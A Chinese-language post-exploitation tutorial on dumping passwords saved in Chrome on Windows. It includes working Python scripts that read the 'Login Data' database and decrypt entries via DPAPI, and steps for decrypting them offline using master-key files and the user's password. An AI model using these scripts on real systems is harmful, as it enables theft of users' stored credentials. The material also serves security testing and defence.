滲透技巧——導出Chrome瀏覽器中保存的密碼
0x00 前言
在后滲透階段,獲得權限后需要搜集目標系統(tǒng)的信息。信息越全面,越有助于進一步的滲透。對于Windows系統(tǒng),用戶瀏覽器往往包含有價值的信息。
在之前的文章《本地密碼查看工具LaZagne中的自定義腳本開發(fā)》曾介紹過利用LaZagne導出多個瀏覽器密碼的方法。
本文將要針對Chrome瀏覽器,介紹具體的導出原理和利用方法,解決一個實際問題: 如何導出另一系統(tǒng)下Chrome瀏覽器中保存的密碼?
0x01 簡介
本文將要介紹以下內容:
- Chrome瀏覽器保存密碼的方式
- 如何導出Chrome瀏覽器中保存的密碼
- 常用方法的限制
- 如何導出另一系統(tǒng)下Chrome瀏覽器中保存的密碼
0x02 Chrome瀏覽器保存密碼的方式
正常用戶在訪問網(wǎng)站時,可選擇使用Chrome瀏覽器保存登錄的用戶密碼,用于下次登錄的時候Chrome自動填寫登錄密碼,如下圖
在Chrome中可以查看保存的登錄密碼(需要提供用戶口令),如下圖
Chrome中保存的密碼先被二次加密,然后被保存在SQLite數(shù)據(jù)庫文件中,位置如下:
- %LocalAppData%\Google\Chrome\User Data\Default\Login Data
實際測試:
測試系統(tǒng): Win7x86
Chrome版本: 63.0.3239.132
定位SQLite數(shù)據(jù)庫文件,位于C:\Users\a\AppData\Local\Google\Chrome\User Data\Default\Login Data
使用工具讀取數(shù)據(jù)庫文件,測試工具: SQLiteStudio
下載地址:
https://sqlitestudio.pl/index.rvt
注:
SQLiteStudio開源,特點是支持查看十六進制數(shù)據(jù)(SQLiteSpy不支持查看十六進制數(shù)據(jù))
成功讀取數(shù)據(jù)庫文件保存的信息,但password段無法顯示,如下圖
選擇Form view,查看十六進制格式,獲得二次加密后的用戶密碼,如下圖
注:
如果Chrome正在運行,無法使用SQLiteStudio打開數(shù)據(jù)庫文件Login Data,可將該文件復制后再打開
0x03 導出Chrome瀏覽器中保存的密碼
首先,編寫程序實現(xiàn)讀取SQLite數(shù)據(jù)庫文件,這里選擇使用python實現(xiàn)
開源代碼很多,所以這里只給出一個示例
- from os import getenv
- import sqlite3
- import binascii
- conn = sqlite3.connect(getenv("APPDATA") + "\..\Local\Google\Chrome\User Data\Default\Login Data")
- cursor = conn.cursor()
- cursor.execute('SELECT action_url, username_value, password_value FROM logins')
- for result in cursor.fetchall():
- print (binascii.b2a_hex(result[2]))
獲得二次加密的用戶密碼,如下圖
參考Chromium開源代碼,找到Chrome做二次加密的方法: 通過Windows API CryptProtectData()實現(xiàn)
參考加密代碼:
CryptProtectData()的說明可參考:
https://msdn.microsoft.com/en-us/library/windows/desktop/aa380261(v=vs.85).aspx
獲得關鍵信息:
(1)對應解密函數(shù)為CryptUnprotectData
參考地址:
https://msdn.microsoft.com/en-us/library/windows/desktop/aa380882(v=vs.85).aspx
(2)只有與加密數(shù)據(jù)的用戶具有相同登錄憑據(jù)的用戶才能解密數(shù)據(jù)
也就是說,只能在當前用戶的憑據(jù)下解密數(shù)據(jù)
解密的開源代碼也有很多,這里給出一個示例:
- from os import getenv
- import sqlite3
- import win32crypt
- import binascii
- conn = sqlite3.connect(getenv("APPDATA") + "\..\Local\Google\Chrome\User Data\Default\Login Data")
- cursor = conn.cursor()
- cursor.execute('SELECT action_url, username_value, password_value FROM logins')
- for result in cursor.fetchall():
- password = win32crypt.CryptUnprotectData(result[2], None, None, None, 0)[1]
- print password
注:
調用win32crypt.CryptUnprotectData需要安裝pywin32
下載地址:
http://sourceforge.net/projects/pywin32/files/pywin32/Build%20219/pywin32-219.win32-py2.7.exe
執(zhí)行后,還原用戶密碼,如下圖
注:
如果Chrome正在運行,無法查詢數(shù)據(jù)庫文件Login Data,顯示sqlite3.OperationalError: database is locked
綜上,在實際導出的過程中,如果Chrome正在運行,需要先復制數(shù)據(jù)庫文件,再嘗試解密
0x04 如何導出另一系統(tǒng)下Chrome瀏覽器中保存的密碼
參照CryptProtectData()的說明,地址如下:
https://msdn.microsoft.com/en-us/library/windows/desktop/aa380261(v=vs.85).aspx
- “Usually, the only user who can decrypt the data is a user with the
- same logon credentials as the user who encrypted the data.In addition,
- the encryption and decryption must be done on the same computer. “
是否可以斷定,無法在另一系統(tǒng)下導出Chrome瀏覽器中保存的密碼呢?
答案是否定的
Chrome密碼還原工具chromepass提供了一個特別的功能: Reading ChromePass passwords from external drive
chromepass下載地址:
http://www.nirsoft.net/utils/chromepass.html
說明如下:
- “you can also read the passwords stored by Chrome Web browser from an
- external profile in your current operating system or from another
- external drive”
也就是說,使用chromepass能夠導出當前系統(tǒng)下另一用戶的Chrome密碼
操作界面如下圖
既然如此,如果獲得了另一系統(tǒng)下的相關配置文件,能否導出Chrome瀏覽器中保存的密碼呢?
當然可以
解密需要獲得三部分內容:
- 加密密鑰,位于%appdata%\Microsoft\Protect下對應sid文件夾下的文件
- 數(shù)據(jù)庫文件Login Data
- 用戶明文的密碼,用于解密加密密鑰
由于chromepass程序的設計問題,以上文件需要組成特定格式,子目錄格式如下:
- \AppData\Local\Google\Chrome\User Data\Default\Login Data
- \AppData\Roaming\Microsoft\Protect{sid}}\下保存key文件
注:
{sid}必須同原系統(tǒng)的對應
eg.
- \AppData\Local\Google\Chrome\User Data\Default\Login Data
- \AppData\Roaming\Microsoft\Protect\S-1-5-21-3453529135-4164765056-1075703908-1001\329c4147-0011-4ad6-829d-e32dcbd1bbd7
如下圖
使用chromepass選擇該目錄,填入用戶明文密碼,如下圖
成功解密,如下圖
0x05 開源工具
解密當前系統(tǒng)下Chrome瀏覽器中保存的密碼,可供參考的工具:
1.命令行工具Chrome Password Dump,下載地址:
http://securityxploded.com/chrome-password-dump.php
2.powershell實現(xiàn)的工具:
3.python實現(xiàn)代碼,可供參考的開源代碼:
- from os import getenv
- import sqlite3
- import win32crypt
- import binascii
- conn = sqlite3.connect(getenv("APPDATA") + "\..\Local\Google\Chrome\User Data\Default\Login Data")
- cursor = conn.cursor()
- cursor.execute('SELECT action_url, username_value, password_value FROM logins')
- for result in cursor.fetchall():
- password = win32crypt.CryptUnprotectData(result[2], None, None, None, 0)[1]
- if password:
- print 'Site: ' + result[0]
- print 'Username: ' + result[1]
- print 'Password: ' + password
- else:
- print "no password found"
0x06 小結
本文介紹了導出Chrome瀏覽器密碼的原理和利用方法,成功解決一個實際問題: 通過加密密鑰文件和用戶明文密碼,能夠導出另一系統(tǒng)下Chrome瀏覽器中保存的密碼
如果只獲得了用戶密碼hash,能否導出呢?